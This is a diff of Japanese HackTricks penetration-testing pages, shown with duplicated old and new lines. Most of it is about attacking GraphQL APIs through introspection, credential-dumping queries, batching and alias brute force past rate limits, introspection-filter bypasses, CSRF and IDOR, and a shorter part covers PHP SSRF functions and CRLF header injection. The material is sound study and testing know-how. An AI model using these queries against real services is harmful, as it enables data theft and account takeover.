URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}` を送信できます。応答に `{"data": {"__typename": "Query"}}` が含まれている場合、URLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、GraphQLの `__typename` フィールドに依存しており、クエリされたオブジェクトのタイプをします。 URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}` を送信できます。応答に `{"data": {"__typename": "Query"}}` が含まれている場合、URLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、GraphQLの`__typename`フィールドに依存しており、クエリされたオブジェクトのタイプを明らかにします。
```javascript ```javascript
query{__typename} query{__typename}
``` ```
### 基本的な列挙 ### 基本的な列挙
GraphQLは通常、**GET**、**POST**x-www-form-urlencoded、および**POST**jsonをサポートしています。セキュリティのためには、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されています。 GraphQLは通常、**GET**、**POST** (x-www-form-urlencoded)、および**POST**(json)をサポートしています。セキュリティ上の理由から、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されています。
#### イントロスペクション #### イントロスペクション
@ -57,7 +57,7 @@ GraphQLは通常、**GET**、**POST**x-www-form-urlencoded、および**PO
```bash ```bash
query={__schema{types{name,fields{name}}}} query={__schema{types{name,fields{name}}}}
``` ```
このクエリを使用すると、使用されているすべてのタイプの名前が見つかります: このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:
![](<../../.gitbook/assets/image (202).png>) ![](<../../.gitbook/assets/image (202).png>)
@ -67,22 +67,22 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
``` ```
{% endcode %} {% endcode %}
このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これはデータベースをクエリする方法を知るに非常に役立ちます。 このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これはデータベースをクエリする方法を知るために非常に役立ちます。
![](<../../.gitbook/assets/image (207) (3).png>) ![](<../../.gitbook/assets/image (207) (3).png>)
**エラー** **エラー**
**エラー**が**表示**されるかどうかを知ることは興味深いです。なぜなら、それらは有用な**情報**を提供するからです。 **エラー**が表示されるかどうかを知ることは興味深いです。なぜなら、それらは有用な情報を提供するからです。
``` ```
?query={__schema} ?query={__schema}
?query={} ?query={}
?query={thisdefinitelydoesnotexist} ?query={thisdefinitelydoesnotexist}
``` ```
**スキーマの列挙をインスペクションを通じて行う** **スキーマの列挙を内省によって行う**
{% hint style="info" %} {% hint style="info" %}
もしインスペクションが有効になっているが上記のクエリが実行されない場合は、クエリ構造から`onOperation`、`onFragment`、および`onField`ディレクティブを削除してみてください。 内省が有効になっている場合でも、上記のクエリが実行されない場合は、クエリ構造から`onOperation`、`onFragment`、および`onField`ディレクティブを削除してみてください。
{% endhint %} {% endhint %}
```bash ```bash
#Full introspection query #Full introspection query
@ -187,7 +187,7 @@ name
データベース内に保存されている情報の種類がわかったので、いくつかの値を**抽出**してみましょう。 データベース内に保存されている情報の種類がわかったので、いくつかの値を**抽出**してみましょう。
インスペクションで、**直接クエリできるオブジェクト**がどれかを見つけることができます(存在するだけではオブジェクトをクエリできません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトの1つであることがわかります。したがって、フラグオブジェクトをクエリできます。 インスペクションで、**直接クエリできるオブジェクト**を見つけることができます(オブジェクトが存在するだけではクエリできません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトの1つであることがわかります。したがって、フラグオブジェクトをクエリできます。
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
@ -199,44 +199,44 @@ name
```javascript ```javascript
query={flags{name, value}} query={flags{name, value}}
``` ```
注意してください。**クエリするオブジェクト**が次の例のように**string**のような**プリミティブタイプ**である場合は、次のようにクエリすることができます 注意してください。**クエリするオブジェクト**が次の例のように**string**のような**プリミティブタイプ**である場合は、次のようにクエリすることができます
```javascript ```javascript
query={hiddenFlags} query={hiddenFlags}
``` ```
別の例では、"_Query_" タイプオブジェクト内に 2 つのオブジェクト "_user_" と "_users_" がある場合があります。\ 別の例では、"_Query_" タイプオブジェクト内に 2 つのオブジェクト "_user_" と "_users_" がある場合があります。\
これらのオブジェクトには検索に必要な引数が必要ない場合、**求めるデータを要求するだけで**、それらからすべての情報を取得できます。この例では、保存されたユーザー名とパスワードを抽出できます。 これらのオブジェクトには検索に必要な引数が不要な場合、欲しいデータを要求するだけで**それらからすべての情報を取得**できます。この例では、保存されたユーザー名とパスワードを抽出できます。
![](<../../.gitbook/assets/image (208).png>) ![](<../../.gitbook/assets/image (208).png>)
ただし、この例では、それを試みると次の**エラー**が発生します。 ただし、この例では、そうしようとすると次の**エラー**が発生します:
![](<../../.gitbook/assets/image (210).png>) ![](<../../.gitbook/assets/image (210).png>)
どうやら、"_**uid**_" 引数のタイプが _**Int**_ を使用して検索されるようです。\ 何らかの方法で、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索されるようです。\
とにかく、[基本列挙](graphql.md#basic-enumeration)セクションでは、必要なすべての情報を示すクエリが提案されていることをすでに知っていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` とにかく、[基本列挙](graphql.md#basic-enumeration)セクションでは、必要なすべての情報を示すクエリが提案されていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
そのクエリを実行したときに提供された画像を読むと、"_**user**_" には _Int_ タイプの "_**uid**_" 引数があることがわかります。 提供された画像を読むと、そのクエリを実行すると "_**user**_" にはタイプ _Int_ の "_**uid**_" 引数があることがわかります。
したがって、軽い _**uid**_ ブルートフォースを実行すると、_**uid**=**1**_ でユーザー名とパスワードが取得されることがわかりました:\ したがって、軽い _**uid**_ ブルートフォースを実行すると、_**uid**=**1**_ でユーザー名とパスワードが取得されることがわかりました:\
`query={user(uid:1){user,password}}` `query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>) ![](<../../.gitbook/assets/image (211).png>)
**注意**: "_**user**_" と "_**password**_" のパラメータを要求できることを**発見**しました。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: "**user**" と "**password**" の**パラメータ**を要求できることを**発見**したことに注意してください。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) 次のエラーが発生します:
![](<../../.gitbook/assets/image (213).png>) ![](<../../.gitbook/assets/image (213).png>)
そして、**列挙フェーズ**中に、"_**dbuser**_" オブジェクトに "_**user**_" と "_**password**_" がフィールドとしてあることがわかりました。 また、**列挙フェーズ**中に "_**dbuser**_" オブジェクトに "_**user**_" と "_**password**_" というフィールドがあることがわかりました。
**クエリ文字列ダンプトリック (感謝 @BinaryShadow\_)** **クエリ文字列ダンプトリック (thanks to @BinaryShadow\_)**
`query={theusers(description: ""){username,password}}` のように文字列タイプで検索できる場合、**空の文字列**を検索すると、すべてのデータが**ダンプ**されます。(_この例はチュートリアルの例とは関係ありません。この例では、文字列フィールド "**description**" を持つ "**theusers**" を使用して検索できると仮定します_). `query={theusers(description: ""){username,password}}` のように文字列タイプで検索できる場合、**空の文字列**を検索すると**すべてのデータがダンプ**されます。(_この例はチュートリアルの例とは関係ありません。この例では、文字列フィールド "**description**" を使用して "**theusers**" で検索できると仮定します_).
### 検索 ### 検索
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、また映画を持つことができ、データベース内の関係を示します。 このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、また映画を持つことができ、データベース内の関係を示します。
名前で人物を検索し、そのメールアドレスを取得できます。 名前で人物を**検索**し、そのメールアドレスを取得できます。
```javascript ```javascript
{ {
searchPerson(name: "John Doe") { searchPerson(name: "John Doe") {
@ -259,7 +259,7 @@ name
} }
} }
``` ```
`subscribedMovies`の`name`を取得するように指定されている点に注目してください。 次に、人物の`subscribedMovies`の`name`を取得するように指示されていることに注目してください。
また、**同時に複数のオブジェクトを検索**することもできます。この場合、2つの映画を検索します また、**同時に複数のオブジェクトを検索**することもできます。この場合、2つの映画を検索します
```javascript ```javascript
@ -269,7 +269,7 @@ name
} }
}r }r
``` ```
または、**別名を使用して複数の異なるオブジェクトの関係**: または、**別名を使用して複数の異なるオブジェクトの関係**
```javascript ```javascript
{ {
johnsMovieList: searchPerson(name: "John Doe") { johnsMovieList: searchPerson(name: "John Doe") {
@ -296,13 +296,13 @@ name
**ミューテーションはサーバーサイドで変更を加えるために使用されます。** **ミューテーションはサーバーサイドで変更を加えるために使用されます。**
**インスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_" は "_Mutation_" と呼ばれ、"_Mutation_" オブジェクトにはミューテーションの名前が含まれています(この場合は "_addPerson_" のような): **インスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_" は "_Mutation_" と呼ばれ、"_Mutation_" オブジェクトにはミューテーションの名前(この場合は "_addPerson_")が含まれています:
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達であり、また映画を持つことができ、データベース内の関係を示します。 このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、またデータベース内での関係を示すために映画を持つこともできます。
データベース内に**新しい**映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションは `addMovie` と呼ばれています): データベース内に**新しい**映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションは `addMovie` と呼ばれています)
```javascript ```javascript
mutation { mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -315,7 +315,7 @@ rating
``` ```
**クエリ内でデータの値とタイプが両方示されていることに注意してください。** **クエリ内でデータの値とタイプが両方示されていることに注意してください。**
さらに、データベースは`addPerson`という**mutation**操作をサポートしており、これにより新しく**persons**を作成し、既存の**friends**や**movies**への関連付けが可能です。重要な点として、友達や映画は新しく作成された人物にリンクする前にデータベース内に事前に存在している必要があります。 さらに、データベースは`addPerson`という**mutation**操作をサポートしており、これにより新しく作成された**persons**が既存の**friends**や**movies**との関連付けが可能です。重要な点として、友達や映画は新しく作成された人物にリンクする前にデータベース内に事前に存在している必要があります。
```javascript ```javascript
mutation { mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -343,24 +343,28 @@ releaseYear
} }
} }
``` ```
### 1つのAPIリクエストでの一括総当たり攻撃 ### ディレクティブの過負荷
[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によると、ディレクティブの過負荷は、サーバーが操作を無駄にするまで何百万回もディレクティブを呼び出し、それによってDoSサービス拒否攻撃が可能になることを意味します。
### 1つのAPIリクエストでのバッチングブルートフォース
この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\
**異なる資格情報を持つ多数のクエリを同時に送信**して認証を行うGraphQL API。これはクラシックな総当たり攻撃ですが、GraphQLの一括処理機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチにより、外部のレート監視アプリケーションをだまして、パスワードを推測しようとする総当たり攻撃ボットが存在しないかのように見せることができます。 **異なる資格情報を持つ多数のクエリを同時に送信**して認証を行うGraphQL API。これはクラシックなブルートフォース攻撃ですが、GraphQLのバッチング機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチにより、外部のレート監視アプリケーションをだまして、パスワードを推測しようとするブルートフォースボットが存在しないかのように見せかけることができます。
以下は、**1回のリクエストで3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も単純なデモンストレーションが示されています。明らかに、同じ方法で1回のリクエストで数千を送信することも可能です: 以下は、**1回に3つの異なるメール/パスワードペア**を使用してアプリケーション認証リクエストを行う最も簡単なデモンストレーションです。もちろん、同じ方法で1回に数千を送信することも可能です:
![](<../../.gitbook/assets/image (182) (1).png>) ![](<../../.gitbook/assets/image (182) (1).png>)
応答スクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、対応する情報を_error_セクションに反映しました。**2番目のミューテーションは正しい認証**データを持ち、応答には正しい認証セッショントークンが含まれています。 応答スクリーンショットからわかるように、最初と3番目のリクエストは _null_ を返し、対応する情報を _error_ セクションに反映しました。**2番目のミューテーションは正しい認証**データを持ち、応答には正しい認証セッショントークンが含まれています。
![](<../../.gitbook/assets/image (119) (1).png>) ![](<../../.gitbook/assets/image (119) (1).png>)
## イントロスペクションなしのGraphQL ## イントロスペクションなしのGraphQL
**graphqlエンドポイントがイントロスペクションを無効にする**ケースが増えています。しかし、graphqlが予期しないリクエストを受け取ったときにスローするエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)などのツールにとって、スキーマの大部分を再作成するのに十分です。 **graphqlエンドポイントがイントロスペクションを無効にする**ケースが増えています。ただし、予期しないリクエストが受信された際にgraphqlがスローするエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)などのツールにとって、スキーマの大部分を再作成するのに十分です。
さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、Burpを介して通過するGraphQL APIリクエストを観察し、各新しいクエリで内部GraphQL **スキーマ**を**構築**します。また、イントロスペクションクエリを受け取ったときに偽の応答を返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については、[**こちらをチェックしてください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、Burpを介して通過するGraphQL APIリクエストを**監視**し、新しいクエリごとに内部のGraphQL **スキーマ**を**構築**します。また、イントロスペクションクエリを受信すると偽の応答を返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については、[**こちらをチェック**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
[**こちらでGraphQLエンティティを発見するための素敵なワードリスト**](https://github.com/Escape-Technologies/graphql-wordlist?)が見つかります。 [**こちらでGraphQLエンティティを発見するための素敵なワードリスト**](https://github.com/Escape-Technologies/graphql-wordlist?)が見つかります。
@ -368,7 +372,7 @@ releaseYear
### **GraphQLイントロスペクション防御のバイパス** ### **GraphQLイントロスペクション防御のバイパス**
APIのイントロスペクションクエリに制限をバイパスするには、`__schema`キーワードの後に**特殊文字を挿入**すると効果的です。この方法は、`__schema`キーワードに焦点を当ててイントロスペクションをブロックすための正規表現パターンに一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現で考慮されていない文字スペース、改行、カンマなどを追加することで、制限を回避できます。たとえば、`__schema`の後に改行があるイントロスペクションクエリは、そのような防御をバイパスする可能性があります: APIのイントロスペクションクエリに制限をバイパスするには、`__schema`キーワードの後に**特殊文字を挿入**すると効果的です。この方法は、イントロスペクションをブロックするために`__schema`キーワードに焦点を当てる正規表現パターンに一般的な開発者の見落としを利用しています。GraphQLが無視するが、正規表現で考慮されていないスペース、改行、カンマなどの文字を追加することで、制限を回避できます。たとえば、`__schema`の後に改行があるイントロスペクションクエリは、そのような防御をバイパスする可能性があります:
```bash ```bash
# Example with newline to bypass # Example with newline to bypass
{ {
@ -378,7 +382,7 @@ APIのイントロスペクションクエリに制限をバイパスするに
``` ```
### **公開されたGraphQL構造の発見** ### **公開されたGraphQL構造の発見**
インスペクションが無効になっている場合、JavaScriptライブラリ内の事前読み込みクエリを調べることが有用です。これらのクエリは開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、**公開された機密クエリ**を明らかにします。開発者ツール内で検索するコマンドは次のとおりです: インスペクションが無効場合、JavaScriptライブラリ内の事前読み込みクエリを調べることが有用です。これらのクエリは開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、**公開された機密クエリ**を明らかにします。開発者ツール内で検索するコマンドは次のりです:
```javascript ```javascript
Inspect/Sources/"Search all files" Inspect/Sources/"Search all files"
file:* mutation file:* mutation
@ -392,9 +396,9 @@ CSRFとは何かわからない場合は、以下のページを読んでくだ
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %} {% endcontent-ref %}
そこでは、**CSRFトークンなしで構成された**いくつかのGraphQLエンドポイントを見つけることができます。 GraphQLエンドポイントの中には、**CSRFトークンなしで構成されているもの**がいくつか存在します。
GraphQLリクエストは通常、Content-Typeが**`application/json`**でPOSTリクエスト経由で送信されます。 GraphQLリクエストは通常、Content-Typeが**`application/json`**で送信されるPOSTリクエストを使用します。
```javascript ```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
``` ```
@ -404,7 +408,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
``` ```
したがって、前述のようなCSRFリクエストは**プリフライトリクエストなし**で送信されるため、CSRFを悪用してGraphQLで**変更**を行うことが可能です。 したがって、前述のようなCSRFリクエストは**プリフライトリクエストなし**で送信されるため、CSRFを悪用してGraphQLで**変更**を行うことが可能です。
ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`です。これは、クッキーが第三者のWebからのGETリクエストでのみ送信されることを意味します。 ただし、Chromeの`SameSite`フラグの新しいデフォルトCookie値は`Lax`です。これは、CookieがサードパーティのWebからのGETリクエストでのみ送信されることを意味します。
また、**クエリリクエスト**を**GETリクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。 また、**クエリリクエスト**を**GETリクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。
@ -416,7 +420,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
エンドポイントで定義された多くのGraphQL関数は、リクエスト元の認証のみをチェックし、認可を行わない場合があります。 エンドポイントで定義された多くのGraphQL関数は、リクエスト元の認証のみをチェックし、認可を行わない場合があります。
クエリ入力変数の変更、機密なアカウント詳細が[**漏洩**](https://hackerone.com/reports/792927)する可能性があります。 クエリ入力変数の変更により、機密なアカウント詳細が[**漏洩**](https://hackerone.com/reports/792927)する可能性があります。
変異は、他のアカウントデータを変更しようとすることで、アカウント乗っ取りにつながる可能性さえあります。 変異は、他のアカウントデータを変更しようとすることで、アカウント乗っ取りにつながる可能性さえあります。
```javascript ```javascript
@ -440,9 +444,9 @@ GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパ
GraphQLエイリアスの詳細な理解のためには、次のリソースが推奨されます: [エイリアス](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 GraphQLエイリアスの詳細な理解のためには、次のリソースが推奨されます: [エイリアス](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
エイリアスの主な目的は、多数のAPI呼び出しを必要としないようにすることですが、エイリアスを使用してGraphQLエンドポイントでブルートフォース攻撃を実行するために利用されることが特定されています。これは、一部のエンドポイントが**HTTPリクエストの数**を制限することでブルートフォース攻撃を防ぐように設計されたレートリミッターで保護されているため可能です。ただし、これらのレートリミッターは、各リクエスト内の操作の数を考慮していないかもしれません。エイリアスを使用すると、1つのHTTPリクエスト内に複数のクエリを含めることができるため、このようなレート制限措置を回避できます。 エイリアスの主な目的は、多数のAPI呼び出しを必要としないようにすることですが、エイリアスを使用してGraphQLエンドポイントでブルートフォース攻撃を実行するという意図しないユースケースが特定されています。これは、一部のエンドポイントが**HTTPリクエストの数**を制限することでブルートフォース攻撃を防ぐように設計されたレートリミッターで保護されているため可能です。ただし、これらのレートリミッターは、各リクエスト内の操作の数を考慮していないかもしれません。エイリアスを使用すると、1つのHTTPリクエスト内に複数のクエリを含めることができるため、このようなレート制限措置を回避できます。
以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を検証する方法を示しています。この方法は、複数の割引コードの検証を同時に行う可能性があるため、レート制限を回避できるかもしれません。 以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を検証する方法を示しており、この方法は、複数の割引コードの検証を同時に行う可能性があるため、レート制限を回避できるかもしれません。
```bash ```bash
# Example of a request utilizing aliased queries to check for valid discount codes # Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) { query isValidDiscount($code: Int) {
@ -465,7 +469,7 @@ valid
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは[Burp拡張機能](https://github.com/doyensec/inql)として使用できます。 * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは[Burp拡張機能](https://github.com/doyensec/inql)として使用できます。
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLIクライアントとしても使用でき、攻撃を自動化するためにも使用できます。 * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLIクライアントとしても使用でき、攻撃を自動化するためにも使用できます。
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQLスキーマ内の特定のタイプに到達する異なる方法をリストするツール。 * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQLスキーマ内の特定のタイプに到達する異なる方法をリストするツール。
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度なGraphQLテスト用のBurp拡張機能。 _**Scanner**_ はInQL v5.0のコアであり、GraphQLエンドポイントまたはローカルの内部調査スキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。 _**Attacker**_ コンポーネントを使用すると、バッチGraphQL攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。 * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度なGraphQLテスト用のBurp拡張機能。 _**Scanner**_ はInQL v5.0のコアであり、GraphQLエンドポイントまたはローカルの自己紹介スキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。 _**Attacker**_ コンポーネントを使用すると、バッチGraphQL攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。
### クライアント ### クライアント
@ -490,14 +494,14 @@ valid
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEでAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、ハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -4,27 +4,27 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする** - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する - **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
### SSRF PHP 関数 ### SSRF PHP関数
**file\_get\_contents()、fopen()、file()、md5\_file()** などのいくつかの関数は、**URLを入力として受け入れ、それに従ってアクセスする**ため、使用者がデータを制御できる場合には **SSRF 脆弱性が発生する可能性** があります **file\_get\_contents()、fopen()、file()、md5\_file()**などのいくつかの関数は、**URLを入力として受け入れ、データを制御できる場合に** **SSRF脆弱性を引き起こす可能性があります**
```php ```php
file_get_contents("http://127.0.0.1:8081"); file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r"); fopen("http://127.0.0.1:8081", "r");
@ -33,7 +33,7 @@ md5_file("http://127.0.0.1:8081");
``` ```
### CRLF ### CRLF
さらに、いくつかのケースでは、前述の関数におけるCRLF "脆弱性"を介して任意のヘッダーを送信することさえ可能かもしれません。 さらに、いくつかのケースでは、前述の関数における CRLF "脆弱性" を介して任意のヘッダーを送信することさえ可能かもしれません。
```php ```php
# The following will create a header called from with value Hi and # The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT" # an extra header "Injected: I HAVE IT"
@ -49,7 +49,7 @@ Connection: close
# Any of the previously mentioned functions will send those headers # Any of the previously mentioned functions will send those headers
``` ```
{% hint style="warning" %} {% hint style="warning" %}
そのCRLF脆弱性についての詳細は、このバグをチェックしてください [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1) そのCRLF脆弱性についての詳細は、このバグを確認してください [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %} {% endhint %}
